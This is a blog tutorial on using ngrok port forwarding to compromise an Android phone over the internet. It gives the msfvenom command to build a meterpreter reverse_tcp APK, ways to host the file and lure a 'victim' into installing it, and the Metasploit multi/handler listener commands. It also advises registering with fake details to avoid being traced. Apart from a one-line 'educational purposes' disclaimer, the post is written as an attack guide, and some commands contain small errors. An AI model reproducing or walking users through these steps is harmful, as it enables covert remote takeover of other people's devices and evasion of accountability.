Latest posts

10/recent/ticker-posts

Concept of Port Forwarding | Port Forwarding in Linux | Port Forwarding in Turmux

 Concept of Port forwarding


Hello guys, today we are going to cover the Concept of Port Forwarding. In our previous blog, we have seen our attacks on LAN (Local Area Network), but in the real world, it is very rare that our victim is connected through the same network that we are using. So in that case we are going to use this concept of Port Forwarding.



Let's get started,

We are going to forward the port using ngrok. Before using ngrok you need to register yourself on its official website using your original or fake details it's your choice which detail you want to fill in. I prefer fake details because it makes you anonymous and difficult to find you online.

For registering in ngrok just follow the following steps:
  • Go to official website https://ngrok.com/
  • Go to the download page then start the download of ngrok software.
  • Then click on the sign-up option on the ngrok website.
  • Sign up and register yourself 
  • After downloading the file extract it.
  • Open your terminal then paste the authtoken of your account.
  • You are ready to use ngrok for Port Forwarding

To forward the port Enter
./ngrok tcp 4444

after this Create a payload but when creating set the lhost and lport given by ngrok
msfvenom 

msfvenom is a Standalone payload generator and -h use shows the list of various commands.

We are going to perform this attack on LAN (Local Area Network)
msfvenom -p android/meterpreter/reverse_tcp lhost= (given by ngrok) lport=(given by ngrok) > (name of apk) 

-p - to create a payload.

android - the platform. (you can type any platform you want)

meterpreter - part of the payload, It provides you a multi-functional shell.

reverse_tcp - used to create reverse tcp payload. 

lhost - Given by ngrok

lport - Given by ngrok

> - after this symbol give the name of the app ( I give Payload.apk)


After pressing enter it creates an apk containing reverse_tcp Payload. Now send that apk to the victim, Whenever our victim executes this apk. Send it by creating a link or another way. To host this simple type
python3 -m http.server 8080

It works as provide a service you can directly send to your victim's device. like
http://(given by ngrok) /Payload.apk 
 
It automatically starts to download apk download. Install it on the victim's device. Then you need to start the listener for that stop that server we start using Ctrl+c. Now start the listener using 
sudo service postsql start

To start Metasploit use
 msfconsole

After it started create a listener by typing
use exploit/multi/handler

It changes the path now creates the payload using 
set payload android/meterpreter/reverse_tcp

Then set the lhost and lport
set lhost (given by ngrok)
set lport (you forwarded)

Now type, 
to start the reverse TCP handler 
run ..

When the victim tries to open the app you can access their device across the internet.



This Post is just for educational purposes!

Hope this post will help you to know more about Hacking using Android!

Thank You…!!!




Also Visit


Post a Comment

0 Comments